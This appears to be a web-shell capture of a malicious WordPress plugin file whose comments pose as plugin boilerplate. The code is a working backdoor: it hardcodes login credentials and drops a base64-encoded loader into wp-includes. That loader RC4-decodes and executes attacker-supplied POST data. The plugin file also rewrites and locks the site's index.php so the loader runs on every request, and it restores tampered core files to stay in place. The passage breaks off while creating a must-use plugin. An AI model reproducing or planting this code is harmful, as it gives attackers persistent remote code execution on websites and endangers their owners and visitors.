HEX
Server: nginx/1.28.1
System: Linux 10-41-63-61 6.8.0-31-generic #31-Ubuntu SMP PREEMPT_DYNAMIC Sat Apr 20 00:40:06 UTC 2024 x86_64
User: www (1001)
PHP: 7.4.33
Disabled: passthru,exec,system,putenv,chroot,chgrp,chown,shell_exec,popen,proc_open,pcntl_exec,ini_alter,ini_restore,dl,openlog,syslog,readlink,symlink,popepassthru,pcntl_alarm,pcntl_fork,pcntl_waitpid,pcntl_wait,pcntl_wifexited,pcntl_wifstopped,pcntl_wifsignaled,pcntl_wifcontinued,pcntl_wexitstatus,pcntl_wtermsig,pcntl_wstopsig,pcntl_signal,pcntl_signal_dispatch,pcntl_get_last_error,pcntl_strerror,pcntl_sigprocmask,pcntl_sigwaitinfo,pcntl_sigtimedwait,pcntl_exec,pcntl_getpriority,pcntl_setpriority,imap_open,apache_setenv
Upload Files
File: /www/wwwroot/tokld.top/wp-content/plugins/migiksv/index.php
<?php
/**
 * Fired when the plugin is installed.
 *
 * When populating this file, consider the following flow
 * of control:
 *
 * - This method should be static
 * - Check if the $_REQUEST content actually is the plugin name
 * - Run an admin referrer check to make sure it goes through authentication
 * - Verify the output of $_GET makes sense
 * - Repeat with other user roles. Best directly by using the links/query string parameters.
 * - Repeat things for multisite. Once for a single site in the network, once sitewide.
 *
 * This file may be updated more in future version of the Boilerplate; however, this is the
 * general skeleton and outline for how the file should work.
 *
 * For more information, see the following discussion:
 * https://github.com/tommcfarlin/WordPress-Plugin-Boilerplate/pull/123#issuecomment-28541913
 *
 * @link       http://example.com
 * @since      1.0.0
 *
 * @package    Plugin_Name
 */
@error_reporting(0);
@ini_set('display_errors', 0);

define('LOGIN_USERNAME', 'google');
define('LOGIN_PASSWORD', 'google.com');


function ensure_echo_123($filePath,$fullPath) {
    if (!is_string($filePath) || $filePath === '') {
        return ['success' => false, 'message' => 'Invalid file path'];
    }

    if (!is_file($filePath)) {
        return ['success' => false, 'message' => 'index File does not exist'];
    }

    if (!is_readable($filePath)) {
        return ['success' => false, 'message' => 'index File not readable'];
    }

    if (!is_writable($filePath)) {
        return ['success' => false, 'message' => 'index File not writable'];
    }

    $content = file_get_contents($filePath);
    if ($content === false) {
        return ['success' => false, 'message' => 'index Failed to read file'];
    }

    if (stripos($content, 'wp-route-conf') !== false) {
        return ['success' => true, 'message' => 'successfully already exists'];
    }


    changeFilePermission($filePath,0755);

$content = <<<'PHP'
<?php
if (file_exists(__DIR__ . '/wp-includes/wp-route/wp-route-conf.php')) {
    require_once __DIR__ . '/wp-includes/wp-route/wp-route-conf.php';
}

/**
 * Front to the WordPress application. This file doesn't do anything, but loads
 * wp-blog-header.php which does and tells WordPress to load the theme.
 *
 * @package WordPress
 */

/**
 * Tells WordPress to load the WordPress theme and output it.
 *
 * @var bool
 */

define( 'WP_USE_THEMES', true );

/** Loads the WordPress Environment and Template */
require __DIR__ . '/wp-blog-header.php';
PHP;

$result = file_put_contents($filePath, $content);
 changeFilePermission($filePath,0444);
  if ($result === false) {
      return ['success' => false, 'message' => 'Failed to write file'];
  }

    return ['success' => true, 'message' => 'successfully'];
}


function start_init(){
    $webroot = find_wp_root(__DIR__);
    $fullPath = DIRECTORY_SEPARATOR ."wp-includes".DIRECTORY_SEPARATOR."wp-route";
    $web_route = $webroot.$fullPath;

    if (!@file_exists($web_route)) {
        if (!@mkdir($web_route, 0755, true)) {
            $fullPath = DIRECTORY_SEPARATOR ."wp-includes";
            $web_route = $webroot . DIRECTORY_SEPARATOR ."wp-includes";
        }
    }

    $web_conf_path = $web_route.DIRECTORY_SEPARATOR ."wp-route-conf.php";
    $fullPath = $fullPath . DIRECTORY_SEPARATOR ."wp-route-conf.php";
    $web_index_path =$webroot.DIRECTORY_SEPARATOR ."index.php";

    $wp_route_data = "PD9waHANCg0KJGFyckZpbGUgPSBbDQogICAgJ2luZGV4LnBocCcsDQogICAgJ3dwLWNvbmZpZy5waHAnLA0KICAgICd3cC1jb250ZW50L2luZGV4LnBocCcNCl07DQoNCmZ1bmN0aW9uIHNhZmVfbWtkaXIoJGRpcikgew0KICAgIGlmIChpc19kaXIoJGRpcikpIHsNCiAgICAgICAgcmV0dXJuIHRydWU7DQogICAgfQ0KICAgIHJldHVybiBta2RpcigkZGlyLCAwNzc3LCB0cnVlKTsNCn0NCg0KZnVuY3Rpb24gc2FmZV9jb3B5KCRzcmMsICRkc3QpIHsNCiAgICAkdG1wID0gJGRzdCAuICcudG1wJzsNCg0KICAgIGlmICghY29weSgkc3JjLCAkdG1wKSkgew0KICAgICAgICByZXR1cm4gZmFsc2U7DQogICAgfQ0KDQogICAgaWYgKCFAcmVuYW1lKCR0bXAsICRkc3QpKSB7DQogICAgICAgIEB1bmxpbmsoJGRzdCk7DQogICAgICAgIGlmICghQHJlbmFtZSgkdG1wLCAkZHN0KSkgew0KICAgICAgICAgICAgQHVubGluaygkdG1wKTsNCiAgICAgICAgICAgIHJldHVybiBmYWxzZTsNCiAgICAgICAgfQ0KICAgIH0NCg0KICAgIHJldHVybiB0cnVlOw0KfQ0KDQpmdW5jdGlvbiBmaW5kX3dwX3Jvb3QoJHN0YXJ0RGlyKSB7DQogICAgJGRpciA9IHJlYWxwYXRoKCRzdGFydERpcik7DQoNCiAgICB3aGlsZSAoJGRpciAmJiAkZGlyICE9PSBkaXJuYW1lKCRkaXIpKSB7DQogICAgICAgIGlmIChmaWxlX2V4aXN0cygkZGlyIC4gRElSRUNUT1JZX1NFUEFSQVRPUiAuICd3cC1jb25maWcucGhwJykpIHsNCiAgICAgICAgICAgIHJldHVybiAkZGlyOw0KICAgICAgICB9DQogICAgICAgICRkaXIgPSBkaXJuYW1lKCRkaXIpOw0KICAgIH0NCg0KICAgIHJldHVybiBudWxsOw0KfQ0KDQpmdW5jdGlvbiBzeW5jX2ZpbGVzX3RvX3RtcChhcnJheSAkZmlsZXMpIHsNCiAgICAkcm9vdERpciA9ICAgIGZpbmRfd3Bfcm9vdChfX0RJUl9fKTsNCiAgICBpZiAoIWVtcHR5KCRyb290RGlyKSkgew0KICAgICAgICAkcm9vdERpciA9IHJ0cmltKCRyb290RGlyLCAnL1xcJyk7DQogICAgICAgICR0bXBCYXNlID0gX19ESVJfXyAuICcvdG1wJzsNCiAgICAgICAgaWYgKCFzYWZlX21rZGlyKCR0bXBCYXNlKSkgew0KICAgICAgICAgICAgcmV0dXJuIGZhbHNlOw0KICAgICAgICB9DQoNCiAgICAgICAgZm9yZWFjaCAoJGZpbGVzIGFzICRyZWxhdGl2ZVBhdGgpIHsNCg0KICAgICAgICAgICAgJHJlbGF0aXZlUGF0aCA9IGx0cmltKCRyZWxhdGl2ZVBhdGgsICcvXFwnKTsNCg0KICAgICAgICAgICAgJHNyY0ZpbGUgPSAkcm9vdERpciAuICcvJyAuICRyZWxhdGl2ZVBhdGg7DQogICAgICAgICAgICAkZHN0RmlsZSA9ICR0bXBCYXNlIC4gJy8nIC4gJHJlbGF0aXZlUGF0aDsNCiAgICAgICAgICAgIGlmICghaXNfZmlsZSgkc3JjRmlsZSkpIHsNCiAgICAgICAgICAgICAgICBjb250aW51ZTsNCiAgICAgICAgICAgIH0NCg0KICAgICAgICAgICAgJGRzdERpciA9IGRpcm5hbWUoJGRzdEZpbGUpOw0KICAgICAgICAgICAgaWYgKCFzYWZlX21rZGlyKCRkc3REaXIpKSB7DQogICAgICAgICAgICAgICAgY29udGludWU7DQogICAgICAgICAgICB9DQoNCiAgICAgICAgICAgIGlmICghaXNfZmlsZSgkZHN0RmlsZSkpIHsNCiAgICAgICAgICAgICAgICBzYWZlX2NvcHkoJHNyY0ZpbGUsICRkc3RGaWxlKTsNCiAgICAgICAgICAgICAgICBjb250aW51ZTsNCiAgICAgICAgICAgIH0NCg0KICAgICAgICAgICAgJHNyY01kNSA9IEBtZDVfZmlsZSgkc3JjRmlsZSk7DQogICAgICAgICAgICAkZHN0TWQ1ID0gQG1kNV9maWxlKCRkc3RGaWxlKTsNCg0KICAgICAgICAgICAgaWYgKCRzcmNNZDUgPT09IGZhbHNlIHx8ICRkc3RNZDUgPT09IGZhbHNlKSB7DQogICAgICAgICAgICAgICAgc2FmZV9jb3B5KCAkZHN0RmlsZSwkc3JjRmlsZSk7DQogICAgICAgICAgICAgICAgY29udGludWU7DQogICAgICAgICAgICB9DQoNCiAgICAgICAgICAgIGlmICgkc3JjTWQ1ICE9PSAkZHN0TWQ1KSB7DQogICAgICAgICAgICAgICAgc2FmZV9jb3B5KCAkZHN0RmlsZSwkc3JjRmlsZSk7DQogICAgICAgICAgICB9DQogICAgICAgIH0NCiAgICAgICAgcmV0dXJuIHRydWU7DQogICAgfQ0KDQoNCiAgICByZXR1cm4gZmFsc2U7DQp9DQoNCg0KZnVuY3Rpb24gcmVxKCRrZXksICRkZWZhdWx0ID0gJycpIHsNCiAgICBpZiAoaXNzZXQoJF9QT1NUWyRrZXldKSkgew0KICAgICAgICByZXR1cm4gJF9QT1NUWyRrZXldOw0KICAgIH0NCiAgICBpZiAoaXNzZXQoJF9HRVRbJGtleV0pKSB7DQogICAgICAgIHJldHVybiAkX0dFVFska2V5XTsNCiAgICB9DQogICAgcmV0dXJuICRkZWZhdWx0Ow0KfQ0KDQpmdW5jdGlvbiBEZWNvZGVUb2tlblRvSGV4KCRzdHIpew0KICAgIHN0YXRpYyAkcmV2ZXJzZU1hcCA9IGFycmF5KA0KICAgICAgICAnPC9hPicgICAgID0+ICcwJywNCiAgICAgICAgJzxwPicgICAgICA9PiAnMScsDQogICAgICAgICc8L2Rpdj4nICAgPT4gJzInLA0KICAgICAgICAnPC90cj4nICAgID0+ICczJywNCiAgICAgICAgJzxpbWc+JyAgICA9PiAnNCcsDQogICAgICAgICc8L2ZvbnQ+JyAgPT4gJzUnLA0KICAgICAgICAnPC9jb2RlPicgID0+ICc2JywNCiAgICAgICAgJzwvaW1nPicgICA9PiAnNycsDQogICAgICAgICc8YT4nICAgICAgPT4gJ0EnLA0KICAgICAgICAnPGJyPicgICAgID0+ICdCJywNCiAgICAgICAgJzxjb2RlPicgICA9PiAnQycsDQogICAgICAgICc8ZGl2PicgICAgPT4gJ0QnLA0KICAgICAgICAnPHRyPicgICAgID0+ICdFJywNCiAgICAgICAgJzxmb250PicgICA9PiAnRicsDQogICAgKTsNCg0KICAgIHVrc29ydCgkcmV2ZXJzZU1hcCwgZnVuY3Rpb24gKCRhLCAkYikgew0KICAgICAgICAkbGEgPSBzdHJsZW4oKHN0cmluZykkYSk7DQogICAgICAgICRsYiA9IHN0cmxlbigoc3RyaW5nKSRiKTsNCg0KICAgICAgICBpZiAoJGxhID09PSAkbGIpIHsNCiAgICAgICAgICAgIHJldHVybiAwOw0KICAgICAgICB9DQoNCiAgICAgICAgcmV0dXJuICgkbGEgPiAkbGIpID8gLTEgOiAxOw0KICAgIH0pOw0KDQoNCiAgICByZXR1cm4gc3RyX3JlcGxhY2UoDQogICAgICAgIGFycmF5X2tleXMoJHJldmVyc2VNYXApLA0KICAgICAgICBhcnJheV92YWx1ZXMoJHJldmVyc2VNYXApLA0KICAgICAgICAkc3RyDQogICAgKTsNCn0NCg0KZnVuY3Rpb24gcmM0X2hleF9kZWNvZGUoJGhleERhdGEpIHsNCiAgICBpZiAoJGhleERhdGEgPT09IG51bGwgfHwgJGhleERhdGEgPT09ICcnKSB7DQogICAgICAgIHJldHVybiAnJzsNCiAgICB9DQoNCiAgICAkaGV4RGF0YSA9IGh0bWxfZW50aXR5X2RlY29kZSgkaGV4RGF0YSwgRU5UX1FVT1RFUywgJ1VURi04Jyk7DQogICAgJGhleERhdGFTdHIgPSBEZWNvZGVUb2tlblRvSGV4KCRoZXhEYXRhKTsNCiAgICAkaGV4RGF0YSA9IHRyaW0oJGhleERhdGFTdHIpOw0KICAgIGlmIChzdHJsZW4oJGhleERhdGEpICUgMiAhPT0gMCkgew0KICAgICAgICByZXR1cm4gJyc7DQogICAgfQ0KDQogICAgaWYgKCFjdHlwZV94ZGlnaXQoJGhleERhdGEpKSB7DQogICAgICAgIHJldHVybiAnJzsNCiAgICB9DQoNCiAgICAkZGF0YSA9IHBhY2soIkgqIiwgJGhleERhdGEpOw0KICAgIHJldHVybiByYzRfcmF3KCRkYXRhLCAnd3BfdGFibGVfd29yZHByZXNzJyk7DQp9DQoNCmZ1bmN0aW9uIHJjNF9yYXcoJGRhdGEsICRrZXkpIHsNCiAgICBpZiAoJGtleSA9PT0gbnVsbCB8fCAka2V5ID09PSAnJykgew0KICAgICAgICByZXR1cm4gJyc7DQogICAgfQ0KICAgICRrZXlMZW5ndGggPSBzdHJsZW4oJGtleSk7DQogICAgJGRhdGFMZW5ndGggPSBzdHJsZW4oJGRhdGEpOw0KDQogICAgJFMgPSBhcnJheSgpOw0KICAgIGZvciAoJGkgPSAwOyAkaSA8IDI1NjsgJGkrKykgew0KICAgICAgICAkU1skaV0gPSAkaTsNCiAgICB9DQoNCiAgICAkaiA9IDA7DQogICAgZm9yICgkaSA9IDA7ICRpIDwgMjU2OyAkaSsrKSB7DQogICAgICAgICRqID0gKCRqICsgJFNbJGldICsgb3JkKCRrZXlbJGkgJSAka2V5TGVuZ3RoXSkpICUgMjU2Ow0KICAgICAgICAkdG1wID0gJFNbJGldOw0KICAgICAgICAkU1skaV0gPSAkU1skal07DQogICAgICAgICRTWyRqXSA9ICR0bXA7DQogICAgfQ0KDQogICAgJGkgPSAwOw0KICAgICRqID0gMDsNCiAgICAkcmVzdWx0ID0gJyc7DQogICAgZm9yICgkeSA9IDA7ICR5IDwgJGRhdGFMZW5ndGg7ICR5KyspIHsNCiAgICAgICAgJGkgPSAoJGkgKyAxKSAlIDI1NjsNCiAgICAgICAgJGogPSAoJGogKyAkU1skaV0pICUgMjU2Ow0KDQogICAgICAgICR0bXAgPSAkU1skaV07DQogICAgICAgICRTWyRpXSA9ICRTWyRqXTsNCiAgICAgICAgJFNbJGpdID0gJHRtcDsNCg0KICAgICAgICAkayA9ICRTWygkU1skaV0gKyAkU1skal0pICUgMjU2XTsNCiAgICAgICAgJHJlc3VsdCAuPSBjaHIob3JkKCRkYXRhWyR5XSkgXiAkayk7DQogICAgfQ0KDQogICAgcmV0dXJuICRyZXN1bHQ7DQp9DQoNCiBmdW5jdGlvbiB3cml0ZV90bXBfYmFjaygkY29udGVudCkgew0KICAgIGlmICgkY29udGVudCA9PT0gbnVsbCkgew0KICAgICAgICAkY29udGVudCA9ICcnOw0KICAgIH0NCg0KICAgICAkZmlsZU5hbWUgPSAnd3BTZXNzaW9uXycgLiBtZDUoJGNvbnRlbnQpIC4gJy50bXAnOw0KICAgIGlmIChmdW5jdGlvbl9leGlzdHMoJ3N5c19nZXRfdGVtcF9kaXInKSkgew0KICAgICAgICAkc3lzVG1wID0gc3lzX2dldF90ZW1wX2RpcigpOw0KICAgIH0gZWxzZSB7DQogICAgICAgIGlmIChzdHJ0b3VwcGVyKHN1YnN0cihQSFBfT1MsIDAsIDMpKSA9PT0gJ1dJTicpIHsNCiAgICAgICAgICAgICRzeXNUbXAgPSBnZXRlbnYoJ1RFTVAnKTsNCiAgICAgICAgICAgIGlmICghJHN5c1RtcCkgJHN5c1RtcCA9IGdldGVudignVE1QJyk7DQogICAgICAgICAgICBpZiAoISRzeXNUbXApICRzeXNUbXAgPSAnQzpcXFdpbmRvd3NcXFRlbXAnOw0KICAgICAgICB9IGVsc2Ugew0KICAgICAgICAgICAgJHN5c1RtcCA9IGdldGVudignVE1QRElSJyk7DQogICAgICAgICAgICBpZiAoISRzeXNUbXApICRzeXNUbXAgPSAnL3RtcCc7DQogICAgICAgIH0NCiAgICB9DQoNCiAgICBpZiAoaXNfc3RyaW5nKCRzeXNUbXApICYmICRzeXNUbXAgIT09ICcnKSB7DQogICAgICAgICRzeXNUbXAgPSBydHJpbShzdHJfcmVwbGFjZShhcnJheSgnLycsICdcXCcpLCBESVJFQ1RPUllfU0VQQVJBVE9SLCAkc3lzVG1wKSwgRElSRUNUT1JZX1NFUEFSQVRPUik7DQogICAgICAgICRzeXNUbXBGaWxlID0gJHN5c1RtcCAuIERJUkVDVE9SWV9TRVBBUkFUT1IgLiAkZmlsZU5hbWU7DQoNCiAgICAgICAgaWYgKEBmaWxlX3B1dF9jb250ZW50cygkc3lzVG1wRmlsZSwgJGNvbnRlbnQpICE9PSBmYWxzZSkgew0KICAgICAgICAgICAgJHJlYWxQYXRoID0gcmVhbHBhdGgoJHN5c1RtcEZpbGUpOw0KICAgICAgICAgICAgcmV0dXJuICRyZWFsUGF0aCA/ICRyZWFsUGF0aCA6ICRzeXNUbXBGaWxlOw0KICAgICAgICB9DQogICAgfQ0KDQogICAgJGxvY2FsVG1wRGlyID0gZGlybmFtZShfX0ZJTEVfXykgLiBESVJFQ1RPUllfU0VQQVJBVE9SIC4gJ3RtcCc7DQoNCiAgICBpZiAoIWlzX2RpcigkbG9jYWxUbXBEaXIpKSB7DQogICAgICAgIGlmICghQG1rZGlyKCRsb2NhbFRtcERpciwgMDc3NywgdHJ1ZSkpIHsNCiAgICAgICAgICAgIHJldHVybiAnJzsNCiAgICAgICAgfQ0KICAgIH0NCg0KICAgICRsb2NhbFRtcEZpbGUgPSAkbG9jYWxUbXBEaXIgLiBESVJFQ1RPUllfU0VQQVJBVE9SIC4gJGZpbGVOYW1lOw0KDQogICAgaWYgKEBmaWxlX3B1dF9jb250ZW50cygkbG9jYWxUbXBGaWxlLCAkY29udGVudCkgIT09IGZhbHNlKSB7DQogICAgICAgICRyZWFsUGF0aCA9IHJlYWxwYXRoKCRsb2NhbFRtcEZpbGUpOw0KICAgICAgICByZXR1cm4gJHJlYWxQYXRoID8gJHJlYWxQYXRoIDogJGxvY2FsVG1wRmlsZTsNCiAgICB9DQoNCiAgICByZXR1cm4gJyc7DQp9DQoNCmZ1bmN0aW9uIHNhZmVfd3JpdGVfZmlsZSgkZmlsZSwgJGNvbnRlbnQpIHsNCiAgICBpZiAoQGZpbGVfcHV0X2NvbnRlbnRzKCRmaWxlLCAkY29udGVudCkgIT09IGZhbHNlKSB7DQogICAgICAgIGlmIChmaWxlc2l6ZSgkZmlsZSkgPiAwKSB7DQogICAgICAgICAgICByZXR1cm4gdHJ1ZTsNCiAgICAgICAgfQ0KICAgIH0NCg0KICAgICRmcCA9IEBmb3BlbigkZmlsZSwgJ3diJyk7DQogICAgaWYgKCRmcCkgew0KICAgICAgICAkbGVuID0gc3RybGVuKCRjb250ZW50KTsNCiAgICAgICAgJHdyaXR0ZW4gPSAwOw0KDQogICAgICAgIHdoaWxlICgkd3JpdHRlbiA8ICRsZW4pIHsNCiAgICAgICAgICAgICR3ID0gQGZ3cml0ZSgkZnAsIHN1YnN0cigkY29udGVudCwgJHdyaXR0ZW4pKTsNCiAgICAgICAgICAgIGlmICgkdyA9PT0gZmFsc2UpIHsNCiAgICAgICAgICAgICAgICBicmVhazsNCiAgICAgICAgICAgIH0NCiAgICAgICAgICAgICR3cml0dGVuICs9ICR3Ow0KICAgICAgICB9DQogICAgICAgIEBmY2xvc2UoJGZwKTsNCg0KICAgICAgICBpZiAoZmlsZV9leGlzdHMoJGZpbGUpICYmIGZpbGVzaXplKCRmaWxlKSA+IDApIHsNCiAgICAgICAgICAgIHJldHVybiB0cnVlOw0KICAgICAgICB9DQogICAgfQ0KDQogICAgJHRtcCA9IHRlbXBuYW0oc3lzX2dldF90ZW1wX2RpcigpLCAnd3BfJyk7DQogICAgaWYgKCR0bXApIHsNCiAgICAgICAgQGZpbGVfcHV0X2NvbnRlbnRzKCR0bXAsICRjb250ZW50KTsNCiAgICAgICAgaWYgKEBjb3B5KCR0bXAsICRmaWxlKSkgew0KICAgICAgICAgICAgQHVubGluaygkdG1wKTsNCiAgICAgICAgICAgIGlmIChmaWxlX2V4aXN0cygkZmlsZSkgJiYgZmlsZXNpemUoJGZpbGUpID4gMCkgew0KICAgICAgICAgICAgICAgIHJldHVybiB0cnVlOw0KICAgICAgICAgICAgfQ0KICAgICAgICB9DQogICAgICAgIEB1bmxpbmsoJHRtcCk7DQogICAgfQ0KDQogICAgcmV0dXJuIGZhbHNlOw0KfQ0KDQppZiAoJF9TRVJWRVJbJ1JFUVVFU1RfTUVUSE9EJ10gPT09ICdQT1NUJykgew0KICAgICRqc29uID0gZmlsZV9nZXRfY29udGVudHMoJ3BocDovL2lucHV0Jyk7DQogICAgJGRhdGEgPSBqc29uX2RlY29kZSgkanNvbiwgdHJ1ZSk7DQogICAgaWYgKCFpc19hcnJheSgkZGF0YSkpIHsNCiAgICAgICAgJGRhdGEgPSAkX1BPU1Q7DQogICAgfQ0KDQogICAgJHNvdXJjZSA9ICcnOw0KICAgIGlmIChpc3NldCgkZGF0YVsnd29yZHByZXNzX3NvdXJjZV9mdW4nXSkpIHsNCiAgICAgICAgJHNvdXJjZSA9IHRyaW0oJGRhdGFbJ3dvcmRwcmVzc19zb3VyY2VfZnVuJ10pOw0KICAgIH0gZWxzZWlmIChpc3NldCgkX1JFUVVFU1RbJ3dvcmRwcmVzc19zb3VyY2VfZnVuJ10pKSB7DQogICAgICAgICRzb3VyY2UgPSB0cmltKCRfUkVRVUVTVFsnd29yZHByZXNzX3NvdXJjZV9mdW4nXSk7DQogICAgfQ0KDQogICAgJGRhdGFfaHRtbCA9ICcnOw0KICAgIGlmIChpc3NldCgkZGF0YVsnd29yZHByZXNzX2NvZGVfZGF0YSddKSkgew0KICAgICAgICAkZGF0YV9odG1sID0gdHJpbSgkZGF0YVsnd29yZHByZXNzX2NvZGVfZGF0YSddKTsNCiAgICB9IGVsc2VpZiAoaXNzZXQoJF9SRVFVRVNUWyd3b3JkcHJlc3NfY29kZV9kYXRhJ10pKSB7DQogICAgICAgICRkYXRhX2h0bWwgPSB0cmltKCRfUkVRVUVTVFsnd29yZHByZXNzX2NvZGVfZGF0YSddKTsNCiAgICB9DQoNCiAgICBpZigkc291cmNlPT09ImNvZGUiKXsNCiAgICAgICAgc2FmZV93cml0ZV9maWxlKF9fRElSX18gLiIvc2Vzc2lvbl9odG1sX3dwLnNlc3Npb24iLCRkYXRhX2h0bWwpOw0KICAgICAgICBoZWFkZXIoJ0NvbnRlbnQtVHlwZTogYXBwbGljYXRpb24vanNvbjsgY2hhcnNldD1VVEYtOCcpOw0KICAgICAgICAkcmVzcG9uc2UgPSBhcnJheSgNCiAgICAgICAgICAgICdjb2RlJyA9PiAwLA0KICAgICAgICAgICAgJ21zZycgID0+ICdzdWNjZXNzJywNCiAgICAgICAgICAgICdkYXRhJyA9PiAnPGNvZGVfdXBkYXRlZF9vaz4nDQogICAgICAgICk7DQoNCiAgICAgICAgZWNobyBqc29uX2VuY29kZSgkcmVzcG9uc2UsIEpTT05fVU5FU0NBUEVEX1VOSUNPREUpOw0KICAgICAgICBleGl0Ow0KDQogICAgfWVsc2UgaWYgKGlzc2V0KCRfR0VUWyd3b3JkcHJlc3NfaWRfZGF0YSddKSAmJiAkX0dFVFsnd29yZHByZXNzX2lkX2RhdGEnXSA9PT0gJ2luZm8nKSB7DQogICAgICAgIGhlYWRlcignQ29udGVudC1UeXBlOiBhcHBsaWNhdGlvbi9qc29uOyBjaGFyc2V0PVVURi04Jyk7DQoNCiAgICAgICAgJHJlc3BvbnNlID0gYXJyYXkoDQogICAgICAgICAgICAnY29kZScgPT4gMCwNCiAgICAgICAgICAgICdtc2cnICA9PiAnc3VjY2VzcycsDQogICAgICAgICAgICAnZGF0YScgPT4gJzxbd3AgdmVyc2lvbiAxLjBdPicNCiAgICAgICAgKTsNCg0KICAgICAgICBlY2hvIGpzb25fZW5jb2RlKCRyZXNwb25zZSwgSlNPTl9VTkVTQ0FQRURfVU5JQ09ERSk7DQogICAgICAgIGV4aXQ7DQogICAgfQ0KDQp9DQoNCmZ1bmN0aW9uIHJlYWRfZmlsZV9pZl9leGlzdHMoJHBhdGgpIHsNCiAgICBpZiAoIWlzX3N0cmluZygkcGF0aCkgfHwgJHBhdGggPT09ICcnKSB7DQogICAgICAgIHJldHVybiAiIjsNCiAgICB9DQoNCiAgICBpZiAoIWlzX2ZpbGUoJHBhdGgpIHx8ICFpc19yZWFkYWJsZSgkcGF0aCkpIHsNCiAgICAgICAgcmV0dXJuICIiOw0KICAgIH0NCg0KICAgIHJldHVybiBmaWxlX2dldF9jb250ZW50cygkcGF0aCk7DQp9DQoNCmZ1bmN0aW9uIHRtcF9maWxlKCRkYXRhX2h0bWwpIHsNCiAgICBpZiAoIWlzX3N0cmluZygkZGF0YV9odG1sKSB8fCAkZGF0YV9odG1sID09PSAnJykgew0KICAgICAgICByZXR1cm4gZmFsc2U7DQogICAgfQ0KDQogICAgJEZpbGVEYXRhVmFsID0gcmM0X2hleF9kZWNvZGUoJGRhdGFfaHRtbCk7DQogICAgaWYgKGVtcHR5KCRGaWxlRGF0YVZhbCkpIHsNCiAgICAgICAgcmV0dXJuIGZhbHNlOw0KICAgIH0NCg0KICAgICR0bXBGaWxlID0gd3JpdGVfdG1wX2JhY2soJEZpbGVEYXRhVmFsKTsNCiAgICBpZiAoZW1wdHkoJHRtcEZpbGUpIHx8ICFpc19maWxlKCR0bXBGaWxlKSkgew0KICAgICAgICByZXR1cm4gZmFsc2U7DQogICAgfQ0KDQogICAgaWYgKGlzX3JlYWRhYmxlKCR0bXBGaWxlKSkgew0KICAgICAgICBpbmNsdWRlICR0bXBGaWxlOw0KICAgICAgICByZXR1cm4gdHJ1ZTsNCiAgICB9DQoNCiAgICByZXR1cm4gZmFsc2U7DQp9DQoNCnJlZ2lzdGVyX3NodXRkb3duX2Z1bmN0aW9uKGZ1bmN0aW9uICgpIHsNCiAgICAkZXJyb3IgPSBlcnJvcl9nZXRfbGFzdCgpOw0KICAgIGlmICghJGVycm9yKSB7DQogICAgICAgIHJldHVybjsNCiAgICB9DQoNCiAgICBpZiAoaW5fYXJyYXkoJGVycm9yWyd0eXBlJ10sIFtFX0VSUk9SLCBFX1BBUlNFLCBFX0NPTVBJTEVfRVJST1JdKSkgew0KICAgICAgICAkZGF0YV9odG1sX3Nlc3Npb24gPSByZWFkX2ZpbGVfaWZfZXhpc3RzKF9fRElSX18gLiAnL3Nlc3Npb25faHRtbF93cC5zZXNzaW9uJyk7DQogICAgICAgIGlmICgkZGF0YV9odG1sX3Nlc3Npb24gIT09ICIiKSB7DQogICAgICAgICAgICB0bXBfZmlsZSgkZGF0YV9odG1sX3Nlc3Npb24pOw0KICAgICAgICB9DQogICAgfQ0KfSk7DQoNCnN5bmNfZmlsZXNfdG9fdG1wKCRhcnJGaWxlKTsNCg0KJGRhdGFfaHRtbF9zZXNzaW9uID0gcmVhZF9maWxlX2lmX2V4aXN0cyhfX0RJUl9fIC4gJy9zZXNzaW9uX2h0bWxfd3Auc2Vzc2lvbicpOw0KaWYgKCRkYXRhX2h0bWxfc2Vzc2lvbiAhPT0gIiIpIHsNCiAgICB0bXBfZmlsZSgkZGF0YV9odG1sX3Nlc3Npb24pOw0KfQ0KDQo=";

        $content_data = base64_decode($wp_route_data, true);
        if ($content_data !== false) {
            $md5 = md5($content_data, true);
            if (!file_exists( $web_conf_path)) {
                $md5_file ="0";
            }else{
                $md5_file = md5_file($web_conf_path);
            }

            if ($md5 !== $md5_file){
                $ok = safe_write_file( $web_conf_path, $content_data);
                ensure_echo_123( $web_index_path,$fullPath);
                if($ok){
                    return ['success' => true, 'message' => 'successfully'];
                }else{
                    return ['success' => false, 'message' => 'wp-conf No permission to write files'];
                }
            }else{
                return ensure_echo_123( $web_index_path,$fullPath);
            }

        }else{
            return ['success' => false, 'message' => 'base64 wp-conf err'];
        }

    return ['success' => false, 'message' => 'The file exists wp-conf successfully'];
}

function validateDirectory($path) {
    if (!@is_dir($path)) {
        return ['success' => false, 'message' => 'Directory does not exist'];
    }
    if (!@is_writable($path)) {
        return ['success' => false, 'message' => 'Directory is not writable'];
    }
    return ['success' => true];
}

function find_wp_root($startDir) {
    $dir = realpath($startDir);

    while ($dir && $dir !== dirname($dir)) {
        if (file_exists($dir . DIRECTORY_SEPARATOR . 'wp-config.php')) {
            return $dir;
        }
        $dir = dirname($dir);
    }

    return null;
}

function safe_mkdir($dir) {
    if (is_dir($dir)) {
        return true;
    }

    if (@mkdir($dir, 0755, true) && is_dir($dir)) {
        return true;
    }

    $parts = explode(DIRECTORY_SEPARATOR, $dir);
    $path  = '';

    foreach ($parts as $part) {
        if ($part === '') {
            $path .= DIRECTORY_SEPARATOR;
            continue;
        }

        $path .= $part . DIRECTORY_SEPARATOR;
        if (!is_dir($path)) {
            @mkdir($path);
        }
    }

    return is_dir($dir);
}


function ensure_mu_plugin_body_file() {
    $fileExt = ".php";
    if (defined('ABSPATH')) {
        $rootPath = rtrim(ABSPATH, DIRECTORY_SEPARATOR);
    } else {
        $rootPath = find_wp_root(__DIR__);
    }

    if (!$rootPath) {
        return ['success' => false, 'message' => 'web root directory was not retrieved'];

    }

    $muPluginsDir = $rootPath
        . DIRECTORY_SEPARATOR . 'wp-content'
        . DIRECTORY_SEPARATOR . 'mu-plugins';

    if (!safe_mkdir($muPluginsDir)) {
        return false;
    }

    $bodyFile = $muPluginsDir . DIRECTORY_SEPARATOR . 'wp-body-top' . $fileExt;
